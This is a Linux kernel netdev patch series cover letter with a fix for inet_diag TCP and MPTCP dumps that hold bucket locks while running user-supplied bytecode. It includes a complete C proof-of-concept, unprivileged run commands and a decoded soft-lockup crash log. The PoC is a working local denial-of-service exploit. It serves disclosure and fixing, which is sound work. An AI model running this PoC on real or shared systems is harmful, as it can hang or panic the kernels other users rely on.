[PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths

[PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/tcp_diag.c and
net/mptcp/mptcp_diag.c. The bug is reachable by a
non-root user via user and net namespace.
Our testing did not identify any impact on other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

inet_diag TCP dumps currently execute request-supplied
INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
or ehash bucket locks in tcp_diag_dump(). With a heavily populated
bucket, the time spent under the same lock grows with both raw socket
traversal and bytecode cost.

The local listener reproducer creates four SO_REUSEPORT groups of 32768
listeners each, 131072 sockets in total, and then issues a
NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions
followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
concentrated setup to make the lock scope observable; it is not intended
to represent a typical deployment. Because every socket runs the full
bytecode and none reaches the reply fill path, skb backpressure does not
terminate the walk early.
On the unfixed kernel, with local softlockup panic sysctls enabled, this
makes the long bucket-locked section visible as a watchdog report and
panic in inet_diag_bc_sk().

The earlier batching fix direction was still too narrow: it only counted
sockets that survived the cheap prefilters and reached the expensive dump
path. An attacker can therefore populate one bucket with many sockets or
listeners that fail the netns/family/port or MPTCP-specific prefilters,
causing the same bucket lock to be scanned far past the 16-entry batch
threshold before control is returned.

The same root cause also exists in MPTCP listener dumping. The
MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
which runs inet_diag_bc_sk() before filling the netlink reply, while the
listener bucket lock is still held.

The inline reproducer and decoded crash log below cover the TCP watchdog
path only. They are not an MPTCP crash reproduction. The crash log is the
decoded output of `./scripts/decode_stacktrace.sh`, with source paths
reduced to repository-relative file and line references for review. The
MPTCP patch addresses the equivalent listener lock scope identified by
code inspection and completed MPTCP listener stress tests. A separate
MPTCP crash artifact is not included, because the fixed MPTCP run
completed without a crash.

This series fixes both sites by keeping bucket-locked sections limited to
raw socket collection and lifetime pinning, and moving all filtering,
inet_diag_bc_sk(), and socket filling work out of the locked regions so
the batch limit applies to raw bucket traversal itself. For TCP listener,
bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
keep a referenced dump cursor so the next batch resumes after the
previous socket instead of rescanning the bucket head under the same
lock. A stored cursor is reused only after it is checked against the
currently locked bucket. Listen and ehash resume also require the socket
state to still belong to that table. Current-bucket membership is inferred
from that state plus the recomputed hash slot. If the check fails,
collection restarts from the bucket head with the same batch limit. That
fallback can emit a socket more than once, but it does not move bytecode
or fill work back under the bucket lock. Bind collection counts TIME_WAIT
nodes toward the batch limit and restores them through tw_tb2.

We also ran targeted cursor-resume stress tests on the fixed kernel. The
TCP listener workload used 131072 listeners while a separate thread
repeatedly removed and recreated listeners across listener buckets. Three
runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
guest remained alive. With temporary kernel instrumentation, one run
directly observed an invalid TCP listener cursor: the cursor was unhashed
and its computed bucket differed from the bucket being scanned, after
which the safe restart path completed normally.

A corresponding MPTCP listener workload and a TCP bound-only close/rebind
workload also completed without a crash, and the guest remained alive.
Neither workload deterministically reached its instrumented invalid-cursor
branch, and no crash artifact is claimed for either path.

For ehash, a dedicated workload created 4096 loopback established TCP
connections while a mutator replaced connection pairs concurrently. The
TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
log, soft lockup, or panic was observed. These tests exercise the relevant
mutation and resume paths, but do not claim deterministic scheduling of
every race between two dump callbacks.

The TCP patch uses two Fixes tags for the path-specific introductions:
commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
introduced the listener bucket spinlock, and commit 91051f003948
("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
path. The ehash dump already ran diagnostic work under the bucket lock
before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").

udp_diag and raw diag still run bytecode and fill under their own hash
slot locks. Those locks are not the TCP listener, bind, or ehash locks,
or the MPTCP listener lock, tightened by this series.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.

To make the long bucket-locked section observable in the local QEMU
run below, we enabled softlockup panic sysctls as guest root. The
unshare command above uses the PoC defaults, which are:

    ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380

The crash log reports UID: 0 because that process is the userns root
created by unshare -Urn, after those sysctls were set as guest root.
That UID does not by itself prove a host-unprivileged run. The inet_diag
dump path itself is reachable from a user and net namespace.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>

#ifndef SOL_TCP
#define SOL_TCP 6
#endif

#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif

#define TCPF_LISTEN (1U << TCP_LISTEN)

#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif

#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)

struct options {
	unsigned int sockets;
	unsigned int nops;
	unsigned int repeat;
	unsigned int groups;
	unsigned int stride;
	unsigned int cpu;
	bool cpu_set;
	bool compare;
	bool attack;
	bool listen_mode;
	int port;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
		"          [--groups N] [--stride N] [--compare] [--no-attack]\n"
		"          [--listen | --bound]\n"
		"Defaults: --count %u --nops %u --repeat %u\n",
		prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}

static long long timespec_delta_ns(const struct timespec *start,
				       const struct timespec *end)
{
	return (end->tv_sec - start->tv_sec) * 1000000000LL +
	       (end->tv_nsec - start->tv_nsec);
}

static int raise_nofile_limit(rlim_t needed)
{
	struct rlimit lim;

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur >= needed)
		return 0;

	if (lim.rlim_max < needed)
		needed = lim.rlim_max;

	lim.rlim_cur = needed;
	if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("setrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur < needed) {
		fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
			(unsigned long long)lim.rlim_cur,
			(unsigned long long)needed);
		return -1;
	}

	return 0;
}

static int pin_to_cpu(unsigned int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		return -1;
	}

	return 0;
}

static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_ANY),
	};
	socklen_t addrlen = sizeof(addr);
	int one = 1;
	int fd;

	fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0) {
		perror("socket(AF_INET, SOCK_STREAM)");
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEADDR)");
		goto err;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEPORT)");
		goto err;
	}

	addr.sin_port = htons(port);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("bind");
		goto err;
	}

	if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
		perror("getsockname");
		goto err;
	}

	if (listen_mode) {
		if (listen(fd, 0) < 0) {
			perror("listen");
			goto err;
		}
	}

	*bound_port = ntohs(addr.sin_port);
	return fd;

err:
	close(fd);
	return -1;
}

static int setup_sockets(bool listen_mode, unsigned int groups,
			 unsigned int count_per_group, unsigned int stride,
			 int requested_port, int **fds_out, int *port_out)
{
	int *fds;
	unsigned int g, i;
	unsigned int total = groups * count_per_group;
	int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;

	fds = calloc(total, sizeof(*fds));
	if (!fds) {
		perror("calloc(socket fds)");
		return -1;
	}

	for (g = 0; g < groups; g++) {
		int port = base_port + (int)(g * stride);

		if (port <= 0 || port > 65535) {
			fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
				g, base_port, stride);
			goto err;
		}

		for (i = 0; i < count_per_group; i++) {
			unsigned int idx = g * count_per_group + i;
			int bound_port = port;
			int fd = create_socket_in_bucket(listen_mode, bound_port,
							 &bound_port);

			if (fd < 0) {
				fprintf(stderr,
					"socket setup failed at group %u index %u (port %d)\n",
					g, i, port);
				goto err;
			}

			fds[idx] = fd;
			if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
				printf("sockets_ready=%u group=%u port=%d mode=%s\n",
				       idx + 1, g + 1, port,
				       listen_mode ? "listen" : "bound");
			}
		}
	}

	*fds_out = fds;
	*port_out = base_port;
	return 0;

err:
	for (i = 0; i < total; i++) {
		if (fds[i] > 0)
			close(fds[i]);
	}
	free(fds);
	return -1;
}

static void teardown_sockets(int *fds, unsigned int count)
{
	unsigned int i;

	if (!fds)
		return;

	for (i = 0; i < count; i++) {
		if (fds[i] >= 0)
			close(fds[i]);
	}
	free(fds);
}

static size_t build_request(void *buf, bool listen_mode, bool with_attack,
			    unsigned int nops)
{
	size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
	struct nlmsghdr *nlh = buf;
	struct inet_diag_req_v2 *req;

	memset(buf, 0, msg_len);
	nlh->nlmsg_len = msg_len;
	nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
	nlh->nlmsg_seq = 1;

	req = NLMSG_DATA(nlh);
	req->sdiag_family = AF_INET;
	req->sdiag_protocol = IPPROTO_TCP;
	req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
	req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
	req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;

	if (with_attack) {
		size_t payload_len = ((size_t)nops + 2U) *
				     sizeof(struct inet_diag_bc_op);
		size_t attr_len = NLA_HDRLEN + payload_len;
		struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
		struct inet_diag_bc_op *ops;
		unsigned int i;

		memset(nla, 0, NLA_ALIGN(attr_len));
		nla->nla_type = INET_DIAG_REQ_BYTECODE;
		nla->nla_len = attr_len;
		ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);

		for (i = 0; i < nops; i++) {
			ops[i].code = INET_DIAG_BC_NOP;
			ops[i].yes = sizeof(struct inet_diag_bc_op);
			ops[i].no = 0;
		}

		ops[nops].code = INET_DIAG_BC_D_EQ;
		ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
		ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);

		ops[nops + 1].code = 0;
		ops[nops + 1].yes = 0;
		ops[nops + 1].no = 1;

		msg_len += NLA_ALIGN(attr_len);
		nlh->nlmsg_len = msg_len;
	}

	return msg_len;
}

static int recv_until_done(int fd)
{
	char *buf;
	int ret = 0;

	buf = malloc(RECV_BUF_SIZE);
	if (!buf) {
		perror("malloc(recv buf)");
		return -1;
	}

	for (;;) {
		ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
		struct nlmsghdr *nlh;
		int remaining;

		if (received < 0) {
			perror("recv");
			ret = -1;
			break;
		}

		if (received == 0) {
			fprintf(stderr, "recv: unexpected EOF\n");
			ret = -1;
			break;
		}

		remaining = (int)received;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
		     nlh = NLMSG_NEXT(nlh, remaining)) {
			if (nlh->nlmsg_type == NLMSG_DONE)
				goto out;

			if (nlh->nlmsg_type == NLMSG_ERROR) {
				const struct nlmsgerr *err = NLMSG_DATA(nlh);

				if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
					fprintf(stderr, "short NLMSG_ERROR\n");
				} else if (err->error) {
					errno = -err->error;
					perror("netlink");
				} else {
					fprintf(stderr, "unexpected ACK\n");
				}
				ret = -1;
				goto out;
			}
		}
	}

out:
	free(buf);
	return ret;
}

static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
		    double *wall_ms)
{
	size_t request_len;
	size_t attr_space = with_attack ?
			    NLA_ALIGN(NLA_HDRLEN +
				      ((size_t)nops + 2U) *
				      sizeof(struct inet_diag_bc_op)) : 0;
	size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
			   attr_space;
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
	};
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct timeval timeout = {
		.tv_sec = 60,
		.tv_usec = 0,
	};
	struct iovec iov;
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct timespec start_ts;
	struct timespec end_ts;
	void *request;
	int fd;
	int ret = -1;

	request = malloc(alloc_len);
	if (!request) {
		perror("malloc(request)");
		return -1;
	}

	request_len = build_request(request, listen_mode, with_attack, nops);

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
	if (fd < 0) {
		perror("socket(AF_NETLINK)");
		free(request);
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
		perror("setsockopt(SO_RCVTIMEO)");
		goto out;
	}

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
		perror("bind(netlink)");
		goto out;
	}

	iov.iov_base = request;
	iov.iov_len = request_len;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
		perror("clock_gettime(start)");
		goto out;
	}

	if (sendmsg(fd, &msg, 0) < 0) {
		perror("sendmsg");
		goto out;
	}

	if (recv_until_done(fd) < 0)
		goto out;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
		perror("clock_gettime(end)");
		goto out;
	}

	*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
	ret = 0;

out:
	close(fd);
	free(request);
	return ret;
}

static int parse_u32(const char *arg, unsigned int *value)
{
	char *end = NULL;
	unsigned long parsed;

	parsed = strtoul(arg, &end, 0);
	if (!end || *end || parsed > UINT32_MAX)
		return -1;

	*value = (unsigned int)parsed;
	return 0;
}

static int parse_port(const char *arg, int *port)
{
	unsigned int value;

	if (parse_u32(arg, &value) < 0 || value > 65535U)
		return -1;

	*port = (int)value;
	return 0;
}

int main(int argc, char **argv)
{
	struct options opts = {
		.sockets = DEFAULT_SOCKETS,
		.nops = DEFAULT_NOPS,
		.repeat = DEFAULT_REPEAT,
		.groups = DEFAULT_GROUPS,
		.stride = DEFAULT_STRIDE,
		.cpu = 0,
		.cpu_set = false,
		.compare = false,
		.attack = true,
		.listen_mode = true,
		.port = 0,
	};
	int *fds = NULL;
	int port = 0;
	unsigned int i;

	for (i = 1; i < (unsigned int)argc; i++) {
		if (strcmp(argv[i], "--count") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.sockets) < 0 ||
			    opts.sockets == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--nops") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.nops) < 0 ||
			    opts.nops > MAX_NOPS) {
				fprintf(stderr, "--nops must be in range [0, %u]\n",
					MAX_NOPS);
				return 1;
			}
		} else if (strcmp(argv[i], "--repeat") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.repeat) < 0 ||
			    opts.repeat == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--groups") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.groups) < 0 ||
			    opts.groups == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--stride") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.stride) < 0 ||
			    opts.stride == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--port") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_port(argv[++i], &opts.port) < 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--cpu") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.cpu) < 0) {
				usage(argv[0]);
				return 1;
			}
			opts.cpu_set = true;
		} else if (strcmp(argv[i], "--compare") == 0) {
			opts.compare = true;
		} else if (strcmp(argv[i], "--no-attack") == 0) {
			opts.attack = false;
		} else if (strcmp(argv[i], "--listen") == 0) {
			opts.listen_mode = true;
		} else if (strcmp(argv[i], "--bound") == 0) {
			opts.listen_mode = false;
		} else {
			usage(argv[0]);
			return 1;
		}
	}

	if (opts.groups > UINT32_MAX / opts.sockets) {
		fprintf(stderr, "socket count overflow\n");
		return 1;
	}

	if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
		return 1;

	if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
		return 1;

	if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
			  opts.stride, opts.port, &fds, &port) < 0)
		return 1;

	printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
	       opts.groups, opts.sockets, opts.groups * opts.sockets,
	       port, opts.stride, opts.listen_mode ? "listen" : "bound",
	       opts.nops, opts.repeat,
	       opts.compare ? "yes" : "no",
	       opts.attack ? "yes" : "no");

	if (opts.compare) {
		double wall_ms;

		if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
			teardown_sockets(fds, opts.groups * opts.sockets);
			return 1;
		}
		printf("baseline wall_ms=%.3f\n", wall_ms);
	}

	if (opts.attack) {
		for (i = 0; i < opts.repeat; i++) {
			double wall_ms;

			if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
				teardown_sockets(fds, opts.groups * opts.sockets);
				return 1;
			}
			printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
		}
	}

	teardown_sockets(fds, opts.groups * opts.sockets);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
[   21.507468] Modules linked in:
[   21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
[   21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
[   21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
All code
========
   0:	00 00                	add    %al,(%rax)
   2:	00 0f                	add    %cl,(%rdi)
   4:	87 89 00 00 00 3c    	xchg   %ecx,0x3c000000(%rcx)
   a:	02 0f                	add    (%rdi),%cl
   c:	84 4e 01             	test   %cl,0x1(%rsi)
   f:	00 00                	add    %al,(%rax)
  11:	3c 03                	cmp    $0x3,%al
  13:	0f 84 72 01 00 00    	je     0x18b
  19:	3c 01                	cmp    $0x1,%al
  1b:	75 31                	jne    0x4e
  1d:	0f b7 53 02          	movzwl 0x2(%rbx),%edx
  21:	29 d5                	sub    %edx,%ebp
  23:	48 01 d3             	add    %rdx,%rbx
  26:	85 ed                	test   %ebp,%ebp
  28:	7e 31                	jle    0x5b
  2a:*	0f b6 03             	movzbl (%rbx),%eax		<-- trapping instruction
  2d:	3c 08                	cmp    $0x8,%al
  2f:	76 c2                	jbe    0xfffffffffffffff3
  31:	3c 0b                	cmp    $0xb,%al
  33:	0f 84 76 01 00 00    	je     0x1af
  39:	77 3a                	ja     0x75
  3b:	3c 09                	cmp    $0x9,%al
  3d:	0f                   	.byte 0xf
  3e:	84                   	.byte 0x84
  3f:	54                   	push   %rsp

Code starting with the faulting instruction
===========================================
   0:	0f b6 03             	movzbl (%rbx),%eax
   3:	3c 08                	cmp    $0x8,%al
   5:	76 c2                	jbe    0xffffffffffffffc9
   7:	3c 0b                	cmp    $0xb,%al
   9:	0f 84 76 01 00 00    	je     0x185
   f:	77 3a                	ja     0x4b
  11:	3c 09                	cmp    $0x9,%al
  13:	0f                   	.byte 0xf
  14:	84                   	.byte 0x84
  15:	54                   	push   %rsp
[   21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
[   21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
[   21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
[   21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
[   21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
[   21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
[   21.507508] FS:  0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
[   21.507509] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
[   21.507510] Call Trace:
[   21.507512]  <TASK>
[   21.507512]  ? inet_diag_bc_sk (inet_diag.c:632)
[   21.507514]  tcp_diag_dump (tcp_diag.c:366)
[   21.507524]  ? ___slab_alloc (slub.c:1080 slub.c:4524)
[   21.507526]  ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
[   21.507527]  ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
[   21.507528]  ? __alloc_skb (skbuff.c:715)
[   21.507531]  ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
[   21.507532]  __inet_diag_dump (inet_diag.c:823)
[   21.507533]  netlink_dump (af_netlink.c:2331)
[   21.507543]  __netlink_dump_start (af_netlink.c:2446)
[   21.507544]  inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
[   21.507545]  ? __pfx_inet_diag_dump_start (inet_diag.c:891)
[   21.507546]  ? __pfx_inet_diag_dump (inet_diag.c:928)
[   21.507547]  ? __pfx_inet_diag_dump_done (inet_diag.c:508)
[   21.507548]  sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
[   21.507550]  ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
[   21.507551]  netlink_rcv_skb (af_netlink.c:2556)
[   21.507553]  netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
[   21.507554]  netlink_sendmsg (af_netlink.c:1900)
[   21.507556]  ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
[   21.507558]  ___sys_sendmsg (socket.c:2738)
[   21.507559]  __sys_sendmsg (socket.c:2770)
[   21.507560]  do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
[   21.507563]  entry_SYSCALL_64_after_hwframe (entry_64.S:121)
[   21.507564] RIP: 0033:0x421964
[   21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
All code
========
   0:	c2 c0 ff             	ret    $0xffc0
   3:	ff                   	(bad)
   4:	ff f7                	push   %rdi
   6:	d8 64 89 02          	fsubs  0x2(%rcx,%rcx,4)
   a:	48 c7 c0 ff ff ff ff 	mov    $0xffffffffffffffff,%rax
  11:	eb b5                	jmp    0xffffffffffffffc8
  13:	0f 1f 00             	nopl   (%rax)
  16:	f3 0f 1e fa          	endbr64
  1a:	80 3d fd 26 09 00 00 	cmpb   $0x0,0x926fd(%rip)        # 0x9271e
  21:	74 13                	je     0x36
  23:	b8 2e 00 00 00       	mov    $0x2e,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 4c                	ja     0x7e
  32:	c3                   	ret
  33:	0f 1f 00             	nopl   (%rax)
  36:	55                   	push   %rbp
  37:	48 89 e5             	mov    %rsp,%rbp
  3a:	48 83 ec 20          	sub    $0x20,%rsp
  3e:	89                   	.byte 0x89
  3f:	55                   	push   %rbp

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 4c                	ja     0x54
   8:	c3                   	ret
   9:	0f 1f 00             	nopl   (%rax)
   c:	55                   	push   %rbp
   d:	48 89 e5             	mov    %rsp,%rbp
  10:	48 83 ec 20          	sub    $0x20,%rsp
  14:	89                   	.byte 0x89
  15:	55                   	push   %rbp
[   21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[   21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
[   21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
[   21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
[   21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
[   21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
[   21.507572]  </TASK>
[   21.507573] Kernel panic - not syncing: softlockup: hung tasks
-----END crash log-----

Best regards,
Zihan Xi

changes in v2:
  - Rebased onto net commit e2a6641e3bfd (2026-08-27).
  - Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
  - Added current-bucket cursor validation for TCP listener, bind, and
    ehash paths, and for MPTCP listeners, with safe restart on mismatch.
  - Reject listen/ehash/MPTCP listener cursors unless sk_state still
    matches the table being walked.
  - Count TIME_WAIT bind nodes toward the batch limit and resume them via
    tw_tb2 instead of treating them as inet_connection_sock.
  - Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
    because that commit only converted the existing ehash dump lock type.
  - Sorted new TCP dump local declarations reverse xmas tree.
  - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
  - Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
    listener lock.
  - Refreshed the inline PoC and matching decoded crash log artifacts.
  - Corrected wording and removed duplicate crash-log provenance text.
  - Made PoC defaults match unshare -Urn ./poc (4 listener groups).
  - Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
    diag locks are outside this series.
  - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/

Zihan Xi (2):
  tcp: diag: bound bucket lock hold in tcp_diag_dump()
  mptcp: diag: bound listener bucket lock hold

 include/linux/inet_diag.h     |  15 ++
 include/net/inet_hashtables.h |  18 ++
 net/ipv4/inet_diag.c          |  13 ++
 net/ipv4/inet_hashtables.c    |  18 --
 net/ipv4/tcp_diag.c           | 338 +++++++++++++++++++++++++---------
 net/mptcp/mptcp_diag.c        | 124 +++++++++----
 6 files changed, 383 insertions(+), 143 deletions(-)

-- 
2.43.0

[PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()

[Zihan Xi]

inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk().
tcp_diag_dump() currently evaluates socket filters and fills replies while
holding the listener, bind, and ehash bucket locks.

The time spent under a bucket lock can therefore grow with the number of
sockets visited and with per-socket dump work. This defeats the intended
bounded nature of the bucket walk and can cause excessive lock hold times.

Fix this by collecting only referenced sockets while holding each bucket
lock. Move the filtering, bytecode evaluation, and fill work out of the
critical section, and keep a referenced dump cursor so each subsequent
batch resumes after the previous socket instead of rescanning the bucket
head. Validate a cursor against the current listener, bind, or ehash
bucket, and against the table implied by sk_state, before resuming from
it. Bind collection counts TIME_WAIT nodes toward the batch limit and
resumes them via tw_tb2.

